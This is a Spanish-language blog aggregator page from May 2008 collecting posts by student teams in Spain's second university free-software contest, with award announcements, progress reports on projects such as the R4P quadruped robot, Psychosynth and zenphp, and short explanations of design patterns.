09/05/2008

Post-procesador y Visor de demostraciones de ACL2

¡Primer premio!


Bueno bueno, acabo de volver de la fase final del Concurso, donde he tenido el gustazo de recibir el Primer Premio en la categoría Educativa. Quitando que el dinero es bienvenido, cómo no :-D, me alegra mucho que se reconozcan los esfuerzos de todos nosotros, que es lo realmente importante.

Me gustaría agradecer a todos los demás finalistas, a los organizadores y a todos los involucrados por dejarme pasar unos dos días fantásticos con mucho frikeo ubuntero, debianero y demás. La visita a los jardines del Real Alcázar se aguó un poco, pero fue muy bonita de todas formas.

Felicidades a todos los demás, que todos somos premiados. Empezando por Psychosynth, que dan ganas de tontear con él sólo de verlo :-D, y que no me extraña que sea el premiado en absoluto. Y siguiendo con el robotito R4P (espero que resolváis el problema con los horns de los servos, y poned fotos de la versión negra), Minirok (Dato, eres de GNOME en el fondo, lo sé ;-)), Pigmeo (sigo pensando que aunque no es prioritario, se debería poner la creación de un simulador en un documento por si alguien se siente dispuesto a echar el rato), y Zenphp (se nota de dónde viene el nombre al hablar con el autor).

Un recuerdo también a las menciones, en particular Pleim, de mi misma universidad, que por desgracia no se pudo pasar, y a los de Pro Evolution Chapping, con un juego peligrosamente adictivo. Pero por favor, entrenad un poco más y no os metáis tantos goles en propia puerta :-D.

¡Suerte a todos en vuestros proyectos a partir de ahora!

por bluezio el 09/05/2008 09:20 PM

Psychosynth

Premio al mejor proyecto Comunidad Morfeo ¡El gordo!

¡Hola! Escribo eufórico de la felicidad y el regocijo tras haber sido premiado con el premio al mejor proyecto Comunidad Morfeo. Realmente es muy motivante que se reconozca el esfuerzo invertido en el proyecto, los cual potenciará el desarrollo futuro :)

por Juan Pedro Bolívar Puente el 09/05/2008 05:42 PM

R4P

Primer Premio al Mejor Proyecto Innovador

Hace apenas una hora que se ha realizado la entrega de premios del 2º Concurso Universitario de Software Libre nacional y el Proyecto R4P ha obtenido el Primer Premio al Mejor Proyecto Innovador. Se ha celebrado en la Universidad de Sevilla en la Escuela Técnica Superior de Ingeniería Informática.

Seguiremos editando este post. De momento nos vamos a celebrarlo!!!!!!!!!!!

Yuuuuuuuuujuuuuu!!! :)

Sevilla 9 de Mayo de 2008

por Luis Ignacio Díaz del Dedo el 09/05/2008 12:47 PM

08/05/2008

HYDRA: Heterogeneous sYstem Deployment and Remote Adeministration.

Pruebas con IcePatch2

He estado haciendo pruebas con IcePatch2. Generé 65600 ficheros y los metí en un par de carpetas. Calculé los checksums y los desplegué sin mayores problemas, lo que me hace pensar que la limitación de 65536 ficheros ha sido solventada.
Me dispuse a hacer la prueba de fuego: distribuir un sistema entero con un único IcePatch2server. Sin embargo, antes de toparme (o no) con la limitación, encontré otro problema: el directorio /dev No puedo distribuir los ficheros especiales, ya que son dependientes de la máquina.

Hay que pensar cómo solucionar esto.

por nacho el 08/05/2008 11:46 AM

07/05/2008

Sistema integrado para el soporte a la docencia

Render


Hace unos días os comenté en qué consistía el patrón Visitor, que es el que voy a utilizar para realizar los render de preguntas. Un render

por javierperis el 07/05/2008 11:43 PM

Project Football

Premio Local de Sevilla, EDVS 2, y estado del proyecto

Hace tiempo que no comentamos por aquí las cosas que han ido ocurriendo alrededor de Project Football, así que a continuación os dejo un pequeño resumen.

Fuimos al acto de entrega de los Premios Locales de Sevilla en el CUSLII, hicimos una pequeña presentación de nuestro proyecto junto a los desarrolladores de Pro Evolution Chapping, los cuales obtuvieron el primer premio en esta categoría local de Sevilla y nosotros nos llevamos una mención especial por parte de la organización. El evento estuvo muy bien, entre los asistentes Javier Santos se puso en contacto con nosotros para ver si conseguimos sacar una versión del juego para MacOS X (cualquier ayuda en este área es bienvenida). Aquí os dejo un recorte del periódico El Mundo del Sábado 3 de Marzo, en el que hablan de este evento:
Artículo en El Mundo

También el Sábado 3 se celebró en Sevilla el EDVS 2, un encuentro de desarrolladores de videojuegos organizado por la asociación DESEA. Allí pudimos ver varios proyectos interesantes y conocer a personas metidas en el mundillo de los videojuegos. Pudimos hablar con la gente de Genera Mobile, que llevan unos años desarrollando mánagers de fútbol para móviles y tienen la licencia oficial de la LFP para poner los nombres de los equipos y los jugadores, además nos enseñaron la versión 2008 de dicho mánager y otros juegos de fútbol que estaban haciendo. También pude conocer a JoveChiere, un crack del Wings3D, al que le estuve preguntando algunas cosillas sobre como modelar una portería, el me comentó la existencia de un portal en español sobre Wings3D que está montando y que tiene muy buena pinta. También pudimos enseñar un poco el juego en un momento de relax y parece que gustó como va la cosa (gracias a Alberto y a nuestro tocayo David por ofrecer sus portátiles). Ya tenemos ganas de ir al EDVS 3 :-) .

Por último, en cuanto al desarrollo propio de Project Football, estamos realizando la documentación del desarrollo que hemos hecho hasta ahora, puesto que es nuestro proyecto fin de carrera y queremos entregarlo antes del 2 de Junio (a ver si nos da tiempo), por esta razón no le estamos dando ahora tanta caña al código fuente. En el servidor SVN hemos corregido algunos pequeños detalles (por ejemplo para que compile en la nueva Ubuntu 8.04), y en mi copia local he estado trabajando un poco en la conducción del balón por parte de los jugadores, aunque el movimiento no es muy fluido aún.

por nospam@example.com (Dividio) el 07/05/2008 01:07 AM

06/05/2008

Pro Evolution Chapping

Versión 0.43


Nueva versión lista para descargar donde hemos:

  • Mejorado el rendimiento, ahora es más ligero que nunca.
  • Cambiado la física para que el juego sea más atractivo.
  • Cuando termina el partido vuelve al menú principal.
  • Arreglos en el campo del billar.

(Versión de svn 164)

por chapping el 06/05/2008 07:02 PM

iSharpKnocking

Actualización del estado del proyecto

Ya es hora de dar parte después de tanto tiempo.

Dado que tanto diego como yo no tenemos demasiado tiempo para dedicarselo al proyecto decidimos dejar el concurso así que no envíamos la documentación pertinente por lo que nos quedamos fuera directamente.

Pero el proyecto sigue, eso sí, muy despacito.

Así que lo de cambiar a la forja nada de nada. Seguiremos usando google code hasta que se harten de nosotros tongue.png

Ah, felicitaciones a los finalistas de este año face-smile.png

por mangelp@gmail.com (Miguel Ángel Pérez) el 06/05/2008 05:57 PM

R4P

¿Irá R4P caminando a Sevilla?

Con esto no pretendemos que R4P vaya caminando hasta Sevilla… tardaríamos años… xD

La pregunta es si conseguiremos que ande y que lo haga de una forma suficientemente estable como para presentarlo caminando.

De momento todos sus primeros pasos han terminado en tropezones, caídas o tragedias… Pero con un cerebro un millón de veces más básico que el de un mosquito su periodo de aprendizaje es más lento y tedioso… sobretodo para nosotros :S

Estamos trabajando en ello:

por Luis Ignacio Díaz del Dedo el 06/05/2008 04:37 PM

Entorno Colaborativo para Centros de Secundaria

Fase final del II CUSL

Esta semana se celebra en la Escuela Técnica superior de Ingeniería Informática de Sevilla la fase final de la segunda edición del Concurso Universitario de Software Libre. Nosotros nos inscribimos allá por Octubre con mucha ilusión, ya que aprobamos el PFC (a.k.a. Proyecto Fin de Carrera) en Septiembre con un lustroso 10. Podéis comprobar la veracidad de estas palabras en la parte derecha de este blog, donde mostramos el sello de proyecto participante.

De hecho si recordáis los primeros posts de este blog (éste, o éste, o incluso éste), se ve claramente que este blog nació de aquella idea, aunque hoy por hoy pensamos que sólo fue una excusa para poder compartir con el resto de nuestros semejantes las cosas que vamos descubriendo por este mundillo o las frikadas que nos nublan la mente cuasilíquida que tenemos.

El objetivo era rehacer nuestro proyecto empleando otras tecnologías, ya que durante su desarrollo nos encontramos con dificultades que hubiéramos querido solventar cambiando algunos componentes del conjunto. Pasaríamos del (a mi parecer) insufrible mundo de las JSP al bonito y flexible PHP.

Comenzamos a investigar distintos frameworks en PHP como symfony, pero por diversos motivos no pudimos continuar su desarrollo, por lo que he de anunciaros, fieles seguidores, que no hemos ganado este certamen (…y un sonoro Ohhh! se escuchó por la sala).

Pero se han desarrollado proyectos muy interesantes en esta segunda edición: el sintetizador de  Psychosynth, el reproductor de música Minirok o el framework en php Zenphp. Hay muchos más y todos están alojados en la Forja de RedIRIS.

Aquí podéis consultar las actividades que se van a llevar a cabo el Jueves y el Viernes de esta semana. La asistencia es libre y gratuíta hasta completar aforo. Así que si estáis interesados, ya sabéis, ¡daos prisa!

ShareThis

por jaxxrenton el 06/05/2008 07:00 AM

05/05/2008

Sistema integrado para el soporte a la docencia

Reescribiendo pruebas


Con el cambio de estructura de la aplicación, tengo que reescribir las pruebas. Hoy ha sido el turno para el código de validación que os comenté ayer.

por javierperis el 05/05/2008 11:00 PM

HYDRA: Heterogeneous sYstem Deployment and Remote Adeministration.

Planning

QEMU ha demostrado no ser el entorno de pruebas/desarrollo más adecuado para el proyecto. Después de desistir de utilizarlo a menos que sea estrictamente necesario, me he dedicado a ponerme al día con Ice e Icegrid.

He desarrollado un módulo que es básicamente un inspector de sistemas, para obtener las características de cada nodo de la red Icegrid (procesador, memoria, tarjeta gráfica, etc...). De esta forma podremos saber cuál es la configuración más adecuada a cada nodo, sobre todo pensando en términos de drivers de video, espacio libre en disco, etc.

Además, este módulo también será utilizado en el proyecto HESPERIA, de forma que mato dos pájaros de un tiro.

http://arco.inf-cr.uclm.es/hesperia-overview.html

Nuevas Tareas
Ahora debería comenzar a planificar el resto del proyecto, para organizarme un poco. Las tareas de más "alto nivel" que se me ocurren ahora mismo son:

  • Crear el sistema mínimo que irá instalado en cada nodo
  • Resolver la limitación de IcePatch2
  • Decidir cómo se van a crear las particiones para instalar los sistemas
  • Realizar y configurar el arranque remoto con PXE, Etherboot o similar

por nacho el 05/05/2008 11:04 AM

04/05/2008

R4P

Problemas durante el desarrollo (III)

Problemas con Arduino y un extenso código fuente:

Parece que Arduino no soporta un código fuente que contenga grandes arrays o supere un número determinado de líneas.

Un código que funciona perfectamente deja de hacerlo al añadir un array que cumple la sintaxis del programa a la perfección sin razón aparente. El código compila perfectamente, se flasea sobre Arduino sin problema e incluso en ocasiones se ejecuta. Pero no realiza la comunicación por TWI o I2C, a veces se queda colgado a media ejecución, en otras ocasiones se descompensa la velocidad de transmisión del puerto de serie y otras veces directamente no pasa nada.

No se sabe si el problema es del chip o del hardware de Arduino. Se ha buscado información que explique el problema pero no hay nada en la página oficial. No hay ni siquiera una lista de problemas conocidos ni un lugar donde postear los problemas que vayan surgiendo a los usuarios.

Cada vez la idea de utilizar un Ardabasto (versión mejorada de Arduino) se hace más factible y técnicamente más viable.

por Luis Ignacio Díaz del Dedo el 04/05/2008 02:21 PM

03/05/2008

Sistema integrado para el soporte a la docencia

Validando tipos de pregunta


Anteriormente tenía varias funciones que validaban si los datos introducidos en el formulario para crear un tipo de pregunta eran correctos, exprimiendo un poco viendo los argumentos comunes y gracias a las facilidades de Python conseguí crear una función que validaba cualquiera de los tipos de pregunta de los que dispone el sistema, moviendo esta función a un módulo nuevo de validación. Después de hacer el esfuerzo, me di cuenta que muchas veces complicarse a la hora de crear un método (para no repetir código) no es la mejor opción, ya que complica su posterior modificación o extender la validación a otro tipo de preguntas.

Por lo tanto, finalmente, he creado una clase validator, que valida los parámetros comunes y luego subclases para validar cada tipo de pregunta específico.

por javierperis el 03/05/2008 10:31 PM

Open Virtual Container

Proyecto en letargo

Hola a todos,

El equipo de OVC hemos decidido tomar un descanso indefinido sobre el proyecto hasta que nuestras agendas se vacien un poco, en principio estará inactivo hasta septiembre, pero igual lo retomamos pronto.

Hasta pronto.
Grupo OpenVirtualContainer.org

por Joan el 03/05/2008 03:10 PM

02/05/2008

Psychosynth

¡Finalista CUSL!

Pongo la noticia con casi una semana de retraso pero... ¡El proyecto es finalista en el II Concurso Universitario de Software Libre, dónde competían proyectos de toda España! El jueves que viene a las 12 daré una charla en Sevilla sobre el proyecto y el viernes se entregarán los premios finales. A ver si hay suerte :)

por Juan Pedro Bolívar Puente el 02/05/2008 09:38 PM

Sistema integrado para el soporte a la docencia

Patrón Visitor


En programación orientada a objetos, el patrón visitor es una forma de separar el algoritmo de la estructura de un objeto.

La idea básica es que se tiene un conjunto de clases elemento que conforman la estructura de un objeto. Cada una de estas clases elemento tiene un método aceptar (accept()) que recibe al objeto visitador (visitor) como argumento. El visitador es una interfaz que tiene un método visit diferente para cada clase elemento; por tanto habrá implementaciones de la interfaz visitor de la forma: visitorClase1, visitorClase2visitorClaseN. El método accept de una clase elemento llama al método visit de su clase. Clases concretas de un visitador pueden entonces ser escritas para hacer una operación en particular.

Cada método visit de un visitador concreto puede ser pensado como un método que no es de una sola clase, sino de un par de clases: el visitador concreto y clase elemento particular. Así el patrón visitor simula el envío doble (en inglés éste término se conoce como Double-Dispatch) en un lenguaje convencional orientado a objetos de envío único (Single-Dispatch), como son Java o C++).

El patrón visitor también especifica cómo sucede la interacción en la estructura del objeto. En su versión más sencilla, donde cada algoritmo necesita iterar de la misma forma, el método accept de un elemento contenedor, además de una llamada al método visit del objeto visitor, también pasa el objeto visitor como argumento al llamar al método accept de todos sus elementos hijos.

Este patrón es ampliamente utilizado en intérpretes, compiladores y procesadores de lenguajes, en general.

por javierperis el 02/05/2008 03:29 AM

01/05/2008

R4P

Programación de la Fase Final del CUSL

Ya está disponible la programación de la fase final del II Concurso Universitario de Software Libre, que tiene lugar los días 8 y 9 de éste mes. A nosotros nos ha tocado presentar el proyecto el segundo día a las 9:30. Nos viene bien, preferíamos el segundo día para poder ver el día anterior como iban las presentaciones, como organizan las cosas y demás…

Las charlas son muy interesantes y muy variadas, dentro del ámbito del software libre, la primera de todas (sin contar las presentaciones de los proyectos finalistas) trata sobre estándares abiertos así que tendrá bastante impacto teniendo en cuenta el cachondeo que se traen ultimamente la ISO y el estándar OOXML de Microsoft, la de “cómo no dar una charla técnica” es especialmente interesante para todos los que presentamos el proyecto fin de carrera éste año, seguro que nos apuntamos unas cuantas ideas y la de mozilla también, sobre todo por lo de “gestión de un proyecto de software libre” y porque intentaremos tirarles de la lengua sobre las ideas para Thunderbird 3 :D

Ánimo juaxix, que empezar siempre es lo más díficil y también suerte a todos los demás :D

Recordaros que para poder asistir tenéis que registraros en éste formulario de inscripción.

por Luis Alberto Pérez García el 01/05/2008 11:53 AM

Minirok

Omg, finalista y a Sevilla!

Oh, so no he podido pasarme por aquí a decirlo, pero al final Minirok es proyecto finalista del concurso! No puedo decir lo contento que estoy... Enhorabuena al resto de finalistas, y también a todos los participantes, porque creo que crear o participar en un proyecto de software libre es ya una recompensa en sí (yo estoy contentísimo de haber entrado en el mundillo hace ya 4 años o así).

Estas dos últimas semanas he estado bastante ocupado: una vez finalizada la fase de desarrollo volví corriendo a mi gran otra pasión que es Debian, y he estado involucrado en migrar de Python 2.4 a Python 2.5 en Lenny. Yay!

Y más. Ahora en un par de horas, cojo un tren y me voy a Coruña, a una reunión de los desarrolladores de Debian españoles (aunque vienen un par de fuera también), la segunda edición de la Dudesconf. Daré una charla introductoria sobre Git, y un par más de cosas relacionadas con Debian, y (sobre todo) pasaré unos días con un montón de amigos, porque eso son.

Nos vemos la semana que viene en Sevilla!

01/05/2008 11:00 AM

30/04/2008

Pro Evolution Chapping

Nueva versión 0.42 ya descargable!!!


En esta nueva versión hemos incluido:

  • Primeras pruebas con tiros con efecto (no definitivo).
  • Menú manejable con el ratón y teclado a la vez.
  • Nuevo campo retro.
  • Nuevo campo billar.
  • Optimización del pintado de las flechas.
  • Nueva física, las chapas y la pelota tiene distinto rozamiento.
  • Hasta un máximo de diez chapas por equipos.
  • Hay gol de oro, ahora un equipo tiene que ganar siempre.
  • Aparece el mensaje de GOAL cuando se marca un gol.
  • Rotación en chapas y pelotas.
  • Arreglado bugs en campo de playa e hielo.
  • Cambiado imágenes por texto con fuentes.
  • Arreglado el selector que indica de quién es el turno.
  • Versión para MACOS.

Hemos quitado la principal optimización de dibujado, aunque hemos añadido otras como la de la flecha o limitar el número de frames por segundo. En la próxima versión la volveremos a incorporar si no da muchos problemas. Sí notas que te va más lento de lo normal dínoslo. También queremos opiniones sobre los efectos. No es definitivo, pero queremos saber como os gustaba más el juego, si como antes o como ahora.

Elige tu Sistema Operativo y bájate la nueva versión:

(revisión 154 subversion)

por chapping el 30/04/2008 03:21 PM

R4P

Libelium Arduino Contest 2008

Como ya sabéis seguimos la filosofía de “el que no juega no gana” y “cuantos más juguemos mejor!”. Por eso concursamos en todo lo que nos sale y os avisamos de todos los concursos que nos parecen interesantes :D

Este es el vídeo que hemos presentado al concurso de Libelium

por Luis Ignacio Díaz del Dedo el 30/04/2008 11:59 AM

Sistema integrado para el soporte a la docencia

Patrón builder


Como Patrón de diseño, el patrón builder (Constructor) es usado para permitir la creación de una variedad de objetos complejos desde un objeto fuente (Producto), el objeto fuente se compone de una variedad de partes que contribuyen individualmente a la creación de cada objeto complejo a través de un conjunto de llamadas a interfaces comunes de la clase Abstract Builder.

A menudo, el patrón builder construye el patrón Composite, un patrón estructural.

Intención: Abstrae el proceso de creación de un objeto complejo, centralizando dicho proceso en un único punto, de tal forma que el mismo proceso de construcción pueda crear representaciones diferentes.

por javierperis el 30/04/2008 12:08 AM

29/04/2008

R4P

Control Automático de Inclinación

R4P recibe una inclinación para cada eje, X e Y. Si el valor de uno de estos parámetros es cero en ese eje no se hará nada. En caso de ser un valor válido R4P inclinará el cuerpo en esa dirección, primero realizando la inclinación del Eje X y luego la del Eje Y.

Es exactamente lo inverso al control de estabilidad en el que el suelo modifica su inclinación y R4P tiene que adaptar las posiciones de las patas para mantener el cuerpo perfectamente horizontal.

En este vídeo nos muestra sus capacidades en cuanto a inclinación y estabilidad:





por Luis Ignacio Díaz del Dedo el 29/04/2008 04:04 PM

zenphp

Aplicaciones de administración

Un gestor de contenidos de una aplicación de administración, a lo largo de la historia de zenphp me he visto obligado a crear diversos tipos de administradores e ingeniármelas para hacerlo de forma tan general que pudiera compartir el código entre proyectos para no reescribir todo el código una y otra vez en función de las necesidades de los usuarios finales.
Para generar dichas aplicaciones, estoy diseñando un modelo general de aplicación web de administración con una serie de plantillas, el conjunto total de la aplicación con administración es el cartucho que carga el generador Gtk y es compilado por el generador POA de forma que obtenemos el esqueleto inicial de una aplicación en pocos segundos ,sobre la que vamos a trabajar, podemos cambiar las plantillas de administración pero realmente no es algo primordial ya que sólo con cambiar el logo para cada proyecto y un par de cosas más estará completado.
Adjunto una captura de una de las aplicaciones web de administración del modelo de “Portal” que estoy preparando como cartucho para incluir en el repositorio SVN del proyecto.

En la imagen se puede ver el visualizador HTML donde el único HTML que hay son pequeños mensajes de resultados, una pregunta, una confirmación, cosas simples, que han de estar mejor en funciones que lean una plantilla por defecto, asi está todo bien organizado. El resultado es una página de administración para mantener el contenido de una aplicación web cliente de forma que cualquier usuario pueda modificar cualquier parte de la misma.

Compártelo

por juaxix el 29/04/2008 11:42 AM

27/04/2008

Sistema integrado para el soporte a la docencia

Diagramas de secuencia


Una vez ya están modeladas gran parte de las interfaces, es hora de darle un poco de estructura y lógica al proyecto, para aclarar un poco las ideas estoy realizando diagramas de secuencia que es el nombre que toma la técnica de Message Sequence Chart en UML.

De momento, he definido los escenarios de:

  • Crear pregunta.
  • Crear pregunta con error al introducir los datos.
  • Crear vocabulario.
  • Crear término.
  • Editar vocabulario.
  • Editar término.

Los diagramas los estoy creando con NetBeans 6.0.1, según la especificación UML 2.0 o al menos eso dice NetBeans…

Activation boxes, or method-call boxes, are opaque rectangles drawn on top of lifelines to represent that processes are being performed in response to the message.

por javierperis el 27/04/2008 10:57 PM

Pro Evolution Chapping

Página Web


Esta semana hemos estado trabajando en un diseño nuevo para la página web, ya vamos por el cuarto y hemos decidido colgarlos aquí para saber vuestra opinión; qué modelo os parece mejor, o si por el contrario queréis criticarlo porque no os gustan los colores, etc. Lo que se os ocurra:

Modelo 1: Fue el primer esbozo que hicimos. Incluía solo opciones de liga y personalización.

Modelo 2: Estaba pensado como plantilla para el blog, nunca se llego a aplicar y en caso de aplicarse, habría que redimensionarlo (entre otras cosas).

Modelo3: Estaba pensado como una página para angloparlantes, simple y directa, sólo para las descargas

Modelo 4: Es un portal general sobre el juego

por chapping el 27/04/2008 08:07 PM

R4P

Problemas durante el desarrollo (II)

Problemas con la interrupción del Timer2 de Arduino y el protocolo TWI

Se pretendía utilizar una interrupción propia del Atmega 168 que es el chip que tiene Arduino para enviar los datos del robot al chip SD20 y comunicarse con la interfaz con una frecuencia de 20 y 10 Hz respectivamente.

Sin embargo una de las instrucciones para escribir por I2C o TWI deja literalmente colgado a Arduino. En concreto la instrucción Wire.endTransmission(); que cierra la conexión con el I2C o TWI y que debe hacerse después de cada envío de datos al chip.

Por tanto se da por supuesto que se trata de un problema referente Arduino o a Processing. Y la implementación deberá realizarse llamando a la función encargada del envío de datos cada vez que un servo modifique su posición.

Este problema supondrá una peor legibilidad del código.

por Luis Ignacio Díaz del Dedo el 27/04/2008 02:42 PM

26/04/2008

Pro Evolution Chapping

I Premio Local de Sevilla


Ayer estuvimos de enhorabuena, fuimos nombrados ganadores del I Premio Local de Sevilla dentro del II Segundo Concurso de Software Libre. Nos congratula que nos reconozcan nuestro trabajo, para seguir con el proyecto más allá de este concurso. Queremos agradecer a todos los que nos han y están ayudando en este proyecto para que sea un poco más grande.

Además nos han hecho una mención especial dentro del II Concurso a nivel nacional, http://www.concursosoftwarelibre.org/node/152. Desde aquí felicitar a los finalistas que son:

Psychosynth: http://www.psychosynth.com/doku.php?id=es:blog Además de ser nuestro favorito por su innovación y talento.

Minirok: http://chistera.yi.org/~adeodato/code/minirok/csl2.blog/

zenphp: http://blog.zenphp.es/

R4P: http://www.r4p.es/wordpress/

xmleye: http://xmleye.wordpress.com/

Pigmeo: http://es.blog.pigmeo.org/

Además del resto de menciones especiales:

xpages: http://xpages-es.blogspot.com/

pleim: http://pleim.wordpress.com/

ktutorial: http://ktutorial.wordpress.com/

por chapping el 26/04/2008 06:01 PM

zenphp

Finalista del II CUSL

El árbol da sus frutos
Es hora de recoger algunos frutos de este árbol…

zenphp ha resultado ser finalista del II Concurso Universitario de Software Libre junto con otros proyectos más de los compañeros que han participado.

Tengo que dar las gracias por la gran ayuda que me han prestado, con sus opiniones,participación y simpatía :)

Podremos conocernos en Sevilla, echad el bañador que para Mayo empieza el calor!

Mi enhorabuena a todos los proyectos, tengo que mencionarlo pues gracias a todos hemos podido comprobar que es mejor colaborar que competir

Saludos!

Compártelo

por juaxix el 26/04/2008 02:06 PM

Open Virtual Container

Enhorabuena a los que pasan a la siguiente fase!

El equipo de OpenVirtualContainer da la enhorabuena a todos los concursantes que han pasado a la siguiente ronda.

Finalistas del II CUSL

El comité de evaluación después de estudiar los proyectos participantes, ha resuelto nombrar finalistas a:

* Minirok, de Adeodato Simó de la Universidad de Alicante.
* Zenphp, de Juan Belón Pérez de la Universidad de Granada.
* R4P de Luis Alberto Pérez García y Luis Ignacio Díaz del Dedo de la Universidad Europea de Madrid.
* xmleye de Antonio García Domínguez de la Universidad de Cádiz.

leer más

por Joan el 26/04/2008 10:32 AM

R4P

Finalistas del II Concurso Universitario de Software Libre

El proyecto R4P de la Universidad Europea de Madrid con los directores Nourdine Aliane y Fernando Berenguer, proyectado por Luis Alberto Perez García y Luis Ignacio Díaz del Dedo es finalista en el II Concurso Universitario de Software Libre.La fase final se celebrará en Sevilla los días 8 y 9 de Mayo. Existen tres categorías, educación, innovación y ocio. Somos seis finalistas por tanto habrá tres ganadores por categoría y tres finalistas.

R4P es un robot de cuatro patas orientado a la educación que persigue la máxima de bajo coste. Es por ello que solo se ha utilizado en su desarrollo herramientas de software libre con el ahorro que su uso conlleva. Como intercambio equivalente todo el software, diseño de piezas y documentación desarrollada hará uso de licencias libres como CC o GPL3, y en el apartado licencias.

R4P es un robot libre para gente libre que quiera sumergirse en la robótica a un nivel profesional pero con un bajo coste. Como ya sabéis, podéis encontrar todo lo referente al proyecto en éste blog.

Felicidades a Juaxix con su proyecto zhenphp y a todos los finalistas del la segunda edición del CUSL!

¡ ¡ ¡ Nos vemos en Sevilla ! ! !

por Luis Ignacio Díaz del Dedo el 26/04/2008 10:18 AM

Sistema integrado para el soporte a la docencia

Patrones de diseño


Los patrones de diseño (design patterns) son la base para la búsqueda de soluciones a problemas comunes en el desarrollo de software y otros ámbitos referentes al diseño de interacción o interfaces.

Un patrón de diseño es una solución a un problema de diseño. Para que una solución sea considerada un patrón debe poseer ciertas características. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reusable, lo que significa que es aplicable a diferentes problemas de diseño en distintas circunstancias.

por javierperis el 26/04/2008 04:23 AM

24/04/2008

zenphp

Expandiendo zenphp a los medios

Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,…o al menos se intenta :D

El último artículo que he escrito va sobre cadenas de texto y expresiones regulares, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados.

Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está :)

Compártelo

por juaxix el 24/04/2008 10:25 AM

Post-procesador y Visor de demostraciones de ACL2

Fase final del Concurso Universitario de Software Libre de la UCA


Bueno, este post llega casi con una semana de retraso, pero de todas formas allá va.

El viernes pasado, tal y como comentó mi compañero David (autor de Pleim) en su blog, fue la entrega de premios de dicha fase final. Expusimos, en este mismo orden:

  • Felipe, con FichaPráctica, un software para la gestión de fichas didácticas para asignaturas de primaria/educación especial/párvulos y de escuelas de idiomas. No llegó a poder implementar código, pero creo que ya tuvo bastante con la recogida de requisitos y aprender las herramientas. Fue interesante su discusión acerca de las limitaciones que existen a la hora de crear interfaces ricas en un entorno Web, y de cómo ésto le hacía pensar en elaborar un editor para sus contenidos.
  • Servidor con XMLEye. En fin, no dije nada que no hubiera dicho ya, aunque habría invitado algunas preguntas. Los vídeos dieron algunos problemas, pero nada que mplayer no pudiera arreglar. Nada en absoluto supera a ese reproductor, excepto quizá en su interfaz (¿pero quién necesita interfaz? :-D)
  • David, con Pleim. Por cierto, gracias por la felicitación, David, y mucho ánimo con tu proyecto, que podría ser muy útil para más de uno de nosotros. Estaría muy bien que su clasificador se integrara con cosas como el buscador Tracker de GNOME (¿o han cambiado recientemente a otro?), o con servidores web como Apache.
  • Mi compañero de carrera Alejandro, con su forja de software. A ver si alguien explota de verdad su potencial y le saca todos los bugs :-D. No es fácil depurar una aplicación tan grande por sí mismo, y menos cuando tienes que ir rodeando problemas y problemas de integración entre muchas herramientas que no estaban pensadas para ello. De todas formas, su forja ya se está usando bastante, con más de 40 proyectos registrados (que para una forja tan joven, y de una sola universidad, no está nada mal en mi opinión).

Tras una discusión con otro compañero que deseaba desarrollar software libre y posiblemente participar en el próximo CUSL (¡ánimo!), en el que hablamos, entre otras cosas, del típico dilema de si coger GPL/LGPL/BSD para su software, llegó el Rector y se realizó la entrega de premios, en la que tuve el honor de recibir el Primer Premio. Pero bueno, esto es sólo cosa del momento: mis compañeros han invertido también mucho tiempo en esto y han conseguido muy buenos resultados para el poco tiempo que la universidad y la vida en general nos deja :-).

Además, queda mucho por hacer aún. A ver si se relajan las cosas otra vez un poco y le puedo echar más tiempo otra vez a XMLEye.

(Por cierto, el Windows Vista que traía el portátil fue bonito… hasta que se terminó de bajar la ISO de la Release Candidate de Ubuntu Hardy. Me da hasta casi pena, tuvo una vida tan corta… :-D)

por bluezio el 24/04/2008 08:10 AM

23/04/2008

Sistema integrado para el soporte a la docencia

Refactoring Day


La semana pasada ya comencé a ver que el código comenzaba a desbordarme, aprovechando el cambio que tiene que sufrir el código para adaptarlo a las taxonomías de vocabularios y términos, he estado realizando un diseño de clases para desacoplar las tareas de las diferentes capas y aplicar el patrón MVC (Modelo-Vista-Controlador). También he realizado algunos pequeños cambios para que el código sea más legible, pero todavía le he doy vueltas al diseño de clases, nada me convence. Espero aclarar las ideas mañana.

Por otra parte, como son muchas las tareas que uno puedo hacer en un proyecto “grande”, he echo una pequeña prueba de plantilla XSL para html, poca cosa, tengo todavía mucho trabajo por hacer, mirar como se crean diversos elementos en html, las plantillas CSS, etc.

por javierperis el 23/04/2008 11:56 PM

R4P

Soporte de Configuración (I): ConfigFileManager

Uno de los requisitos más interesantes del interfaz de control para R4P era que fuese altamente configurable. La primera opción que se tuvo en mente fué almacenar, en la misma base de datos que se iba a utilizar para almacenar los logs, las preferncias seleccionadas. Finalmente se ha optado por hacer que el uso de una base de datos sea también elección del usuario (así como el hecho de conservar logs del programa).

Para que ésto sea factible se hace necesario el uso de ficheros de configuración, a primera vista los factores que se querían hacer configurables eran los siguientes: idioma, opciones de conexión, opciones del interfaz gráfico (con posible soporte de skins para los iconos) y opciones de log.

El hecho de tener varios ficheros de configuración añade también la necesidad de utilizar un fichero de configuración general donde se pueda consultar y almacenar qué ficheros de idioma, configuración, skin, etc… se deben cargar.

Para tratar los ficheros de configuración la solución más sencilla pasa por utilizar la clase Properties de la API de java, que nos ofrece las siguientes ventajas:

  • No supone inlcuir ninguna dependecia externa (como hemos dicho, está en la propia API del lenguaje).
  • Su uso está ampliamente documentado, a la par de ser muy sencillo.
  • Nos ofrece soporte para dos formatos de ficheros: texto plano y XML (lo que favorecerá la versatilidad a la hora de traducir los ficheros de idioma y hará más fácil encontrar traductores).

La clase que nos ocupa ConfigFileManager es la clase básica que tratará con el contenido de los ficheros. Pertenece al paquete r4p.GUI.configuration y es una clase que hace de puente entre la clase Properties de la API y las clases de carga de propiedades (ConfigurationComm, ConfigurationGUI, ConfigurationSkin y ConfigurationLog) añadiendo alguna funcionalidad interesante a las que ya incorpora la clase original de la API. Entre éstas funcionalidades añadidas están:

  • Identificar automáticamente el formato del fichero (texto plano o XML) a partir de la extensión del fichero.
